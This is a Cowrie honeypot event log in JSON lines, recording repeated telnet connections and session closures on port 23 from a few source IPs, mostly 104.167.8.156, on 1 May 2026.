{"eventid":"cowrie.session.closed","duration":31.562597274780273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:06.651297Z","src_ip":"104.167.8.156","session":"a6b565691d7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42280,"dst_ip":"10.17.0.5","dst_port":23,"session":"fde2dcbda398","protocol":"telnet","message":"New connection: 104.167.8.156:42280 (10.17.0.5:23) [session: fde2dcbda398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:06.824670Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33048,"dst_ip":"10.17.0.5","dst_port":23,"session":"213080994c4e","protocol":"telnet","message":"New connection: 104.167.8.156:33048 (10.17.0.5:23) [session: 213080994c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:07.180764Z"}
{"eventid":"cowrie.session.closed","duration":30.596856355667114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:07.193373Z","src_ip":"104.167.8.156","session":"53ef8c0fec2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47168,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde2e0f8295e","protocol":"telnet","message":"New connection: 188.208.141.113:47168 (10.17.0.5:23) [session: bde2e0f8295e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:07.388134Z"}
{"eventid":"cowrie.session.closed","duration":41.244739294052124,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:07.893482Z","src_ip":"188.208.141.113","session":"1fb7c11c38cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036104440689087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:08.172592Z","src_ip":"104.167.8.156","session":"0096da087799","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47092,"dst_ip":"10.17.0.5","dst_port":23,"session":"3436c7d08c87","protocol":"telnet","message":"New connection: 104.167.8.156:47092 (10.17.0.5:23) [session: 3436c7d08c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:08.180258Z"}
{"eventid":"cowrie.session.closed","duration":30.347169876098633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:08.286939Z","src_ip":"104.167.8.156","session":"8216d610d12a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47172,"dst_ip":"10.17.0.5","dst_port":23,"session":"885791b29a86","protocol":"telnet","message":"New connection: 188.208.141.113:47172 (10.17.0.5:23) [session: 885791b29a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:08.444820Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45804,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1813ee776b6","protocol":"telnet","message":"New connection: 104.167.8.156:45804 (10.17.0.5:23) [session: e1813ee776b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:08.760665Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50614,"dst_ip":"10.17.0.5","dst_port":23,"session":"ada6b2161c05","protocol":"telnet","message":"New connection: 104.167.8.156:50614 (10.17.0.5:23) [session: ada6b2161c05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.116785Z"}
{"eventid":"cowrie.session.closed","duration":30.484508275985718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.177725Z","src_ip":"98.70.41.28","session":"1eee1b514f8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.396895170211792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.354368Z","src_ip":"104.167.8.156","session":"3f424026150a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82708954811096,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.359104Z","src_ip":"64.227.9.242","session":"56c610ec4a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05361819267273,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.385053Z","src_ip":"104.167.8.156","session":"7456c106287b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47178,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9022a3d7969","protocol":"telnet","message":"New connection: 188.208.141.113:47178 (10.17.0.5:23) [session: c9022a3d7969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.550088Z"}
{"eventid":"cowrie.session.closed","duration":31.525847911834717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.686340Z","src_ip":"104.167.8.156","session":"6c57399eb06b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53644,"dst_ip":"10.17.0.5","dst_port":23,"session":"56214b2716ed","protocol":"telnet","message":"New connection: 104.167.8.156:53644 (10.17.0.5:23) [session: 56214b2716ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.864993Z"}
{"eventid":"cowrie.session.closed","duration":31.680169343948364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.880032Z","src_ip":"104.167.8.156","session":"eae9d5ed3b7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53714,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf069875b3d","protocol":"telnet","message":"New connection: 104.167.8.156:53714 (10.17.0.5:23) [session: 6bf069875b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:09.893622Z"}
{"eventid":"cowrie.session.closed","duration":30.778690814971924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.076960Z","src_ip":"104.167.8.156","session":"98fb38545ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54304,"dst_ip":"10.17.0.5","dst_port":23,"session":"740c9d8ef527","protocol":"telnet","message":"New connection: 104.167.8.156:54304 (10.17.0.5:23) [session: 740c9d8ef527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.087604Z"}
{"eventid":"cowrie.session.closed","duration":30.632301568984985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.117649Z","src_ip":"98.70.41.28","session":"04395b50c7b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50826,"dst_ip":"10.17.0.5","dst_port":23,"session":"17d3116b1a6d","protocol":"telnet","message":"New connection: 104.167.8.156:50826 (10.17.0.5:23) [session: 17d3116b1a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.168802Z"}
{"eventid":"cowrie.session.closed","duration":30.83393096923828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.565790Z","src_ip":"104.167.8.156","session":"52a58e3f9361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56238,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fcce76b1250","protocol":"telnet","message":"New connection: 104.167.8.156:56238 (10.17.0.5:23) [session: 6fcce76b1250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.586170Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52764,"dst_ip":"10.17.0.5","dst_port":23,"session":"eef41508a0b0","protocol":"telnet","message":"New connection: 104.167.8.156:52764 (10.17.0.5:23) [session: eef41508a0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.618464Z"}
{"eventid":"cowrie.session.closed","duration":31.55464768409729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:10.965465Z","src_ip":"98.70.41.28","session":"267a495d72bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59680,"dst_ip":"10.17.0.5","dst_port":23,"session":"145e97ca0623","protocol":"telnet","message":"New connection: 104.167.8.156:59680 (10.17.0.5:23) [session: 145e97ca0623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:11.460941Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41524,"dst_ip":"10.17.0.5","dst_port":23,"session":"96e71cbc3744","protocol":"telnet","message":"New connection: 188.208.141.113:41524 (10.17.0.5:23) [session: 96e71cbc3744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:12.253879Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34606,"dst_ip":"10.17.0.5","dst_port":23,"session":"9871be2729f4","protocol":"telnet","message":"New connection: 104.167.8.156:34606 (10.17.0.5:23) [session: 9871be2729f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:12.265712Z"}
{"eventid":"cowrie.session.closed","duration":31.225711345672607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:12.580380Z","src_ip":"104.167.8.156","session":"20a74081561e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52706,"dst_ip":"10.17.0.5","dst_port":23,"session":"b79bc8213cda","protocol":"telnet","message":"New connection: 104.167.8.156:52706 (10.17.0.5:23) [session: b79bc8213cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:12.600322Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60402,"dst_ip":"10.17.0.5","dst_port":23,"session":"616904e44778","protocol":"telnet","message":"New connection: 104.167.8.156:60402 (10.17.0.5:23) [session: 616904e44778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:12.642348Z"}
{"eventid":"cowrie.session.closed","duration":31.64979600906372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:12.698057Z","src_ip":"104.167.8.156","session":"20781a363feb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38806,"dst_ip":"159.203.135.109","dst_port":23,"session":"722f94f25bfd","protocol":"telnet","message":"New connection: 64.227.9.242:38806 (159.203.135.109:23) [session: 722f94f25bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.060977Z"}
{"eventid":"cowrie.session.closed","duration":30.852683782577515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.091226Z","src_ip":"104.167.8.156","session":"d38fa8d5e544","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.77371883392334,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.161733Z","src_ip":"188.208.141.113","session":"bde2e0f8295e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34650,"dst_ip":"10.17.0.5","dst_port":23,"session":"f89427f8ee74","protocol":"telnet","message":"New connection: 104.167.8.156:34650 (10.17.0.5:23) [session: f89427f8ee74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.276886Z"}
{"eventid":"cowrie.session.closed","duration":31.24942111968994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.399404Z","src_ip":"104.167.8.156","session":"ac9d894cae92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.99369931221008,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.449729Z","src_ip":"188.208.141.113","session":"bdb35ccd071f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.940070152282715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.536642Z","src_ip":"104.167.8.156","session":"58c48cc83c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40682,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f5d58403244","protocol":"telnet","message":"New connection: 104.167.8.156:40682 (10.17.0.5:23) [session: 1f5d58403244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:13.891735Z"}
{"eventid":"cowrie.session.closed","duration":31.481343746185303,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.007769Z","src_ip":"98.70.41.28","session":"4f15513088aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41426,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d61704dbca","protocol":"telnet","message":"New connection: 104.167.8.156:41426 (10.17.0.5:23) [session: 05d61704dbca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.121821Z"}
{"eventid":"cowrie.session.closed","duration":30.930196285247803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.179101Z","src_ip":"104.167.8.156","session":"327e232b57d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.40609693527222,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.183919Z","src_ip":"64.227.9.242","session":"2ced7991a60c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58846,"dst_ip":"10.17.0.5","dst_port":23,"session":"17adb967f448","protocol":"telnet","message":"New connection: 104.167.8.156:58846 (10.17.0.5:23) [session: 17adb967f448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.280496Z"}
{"eventid":"cowrie.session.closed","duration":30.62381339073181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.496726Z","src_ip":"104.167.8.156","session":"3d9a62db5d5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649925708770752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.566209Z","src_ip":"104.167.8.156","session":"f52b570ff1fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855395317077637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.603300Z","src_ip":"104.167.8.156","session":"486df0b45cb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.353285551071167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.608130Z","src_ip":"104.167.8.156","session":"f5b789411fdb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17413878440857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.840823Z","src_ip":"104.167.8.156","session":"2f33c8f32b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.508816957473755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:14.978760Z","src_ip":"104.167.8.156","session":"7a251ce9f8cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41968,"dst_ip":"10.17.0.5","dst_port":23,"session":"94f1658cd25d","protocol":"telnet","message":"New connection: 104.167.8.156:41968 (10.17.0.5:23) [session: 94f1658cd25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:15.250652Z"}
{"eventid":"cowrie.session.closed","duration":31.067912101745605,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:15.357439Z","src_ip":"104.167.8.156","session":"607f3f7b14b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":33516,"dst_ip":"159.203.135.109","dst_port":23,"session":"80341718afdc","protocol":"telnet","message":"New connection: 98.70.41.28:33516 (159.203.135.109:23) [session: 80341718afdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:15.636394Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47114,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d4315d9abd0","protocol":"telnet","message":"New connection: 104.167.8.156:47114 (10.17.0.5:23) [session: 3d4315d9abd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:15.654194Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48616,"dst_ip":"10.17.0.5","dst_port":23,"session":"f214ed7be7fd","protocol":"telnet","message":"New connection: 104.167.8.156:48616 (10.17.0.5:23) [session: f214ed7be7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.016364Z"}
{"eventid":"cowrie.session.closed","duration":30.29126739501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.089327Z","src_ip":"104.167.8.156","session":"eb3bc63b4d59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49148,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdeea4b2b1da","protocol":"telnet","message":"New connection: 104.167.8.156:49148 (10.17.0.5:23) [session: fdeea4b2b1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.162022Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38240,"dst_ip":"10.17.0.5","dst_port":23,"session":"047b09489741","protocol":"telnet","message":"New connection: 104.167.8.156:38240 (10.17.0.5:23) [session: 047b09489741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.229147Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41530,"dst_ip":"10.17.0.5","dst_port":23,"session":"405500d403a5","protocol":"telnet","message":"New connection: 188.208.141.113:41530 (10.17.0.5:23) [session: 405500d403a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.320961Z"}
{"eventid":"cowrie.session.closed","duration":31.322980403900146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.422099Z","src_ip":"104.167.8.156","session":"5b9c15fe4e56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77849268913269,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.563448Z","src_ip":"104.167.8.156","session":"fbaef63bd83f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46820,"dst_ip":"10.17.0.5","dst_port":23,"session":"c966a52eb30c","protocol":"telnet","message":"New connection: 104.167.8.156:46820 (10.17.0.5:23) [session: c966a52eb30c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.568549Z"}
{"eventid":"cowrie.session.closed","duration":31.74738097190857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.773741Z","src_ip":"104.167.8.156","session":"6fdb38414841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f946393c2d70","protocol":"telnet","message":"New connection: 104.167.8.156:40840 (10.17.0.5:23) [session: f946393c2d70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:16.956881Z"}
{"eventid":"cowrie.session.closed","duration":30.153122425079346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:17.112105Z","src_ip":"104.167.8.156","session":"b3e085ce6268","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791407585144043,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:17.269538Z","src_ip":"104.167.8.156","session":"4298888e6d14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60502791404724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:17.297563Z","src_ip":"104.167.8.156","session":"ff90a7dd55a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54306,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b336fb8ea0e","protocol":"telnet","message":"New connection: 104.167.8.156:54306 (10.17.0.5:23) [session: 5b336fb8ea0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:17.403710Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41538,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5c86de470c7","protocol":"telnet","message":"New connection: 188.208.141.113:41538 (10.17.0.5:23) [session: c5c86de470c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:17.438031Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55064,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f2da68bc57","protocol":"telnet","message":"New connection: 104.167.8.156:55064 (10.17.0.5:23) [session: b0f2da68bc57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:17.597063Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58152,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a3590b5d492","protocol":"telnet","message":"New connection: 104.167.8.156:58152 (10.17.0.5:23) [session: 6a3590b5d492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:18.402159Z"}
{"eventid":"cowrie.session.closed","duration":31.206834077835083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:18.471507Z","src_ip":"104.167.8.156","session":"5089d8500320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60120,"dst_ip":"10.17.0.5","dst_port":23,"session":"f48266e11d2c","protocol":"telnet","message":"New connection: 104.167.8.156:60120 (10.17.0.5:23) [session: f48266e11d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:18.984420Z"}
{"eventid":"cowrie.session.closed","duration":31.094138622283936,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:19.194054Z","src_ip":"104.167.8.156","session":"c464c267343a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33692,"dst_ip":"10.17.0.5","dst_port":23,"session":"29fbfe3e8896","protocol":"telnet","message":"New connection: 104.167.8.156:33692 (10.17.0.5:23) [session: 29fbfe3e8896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:19.433547Z"}
{"eventid":"cowrie.session.closed","duration":31.585192680358887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:19.765401Z","src_ip":"104.167.8.156","session":"130db8a2ffce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35446,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f692b5decd5","protocol":"telnet","message":"New connection: 104.167.8.156:35446 (10.17.0.5:23) [session: 0f692b5decd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:19.935823Z"}
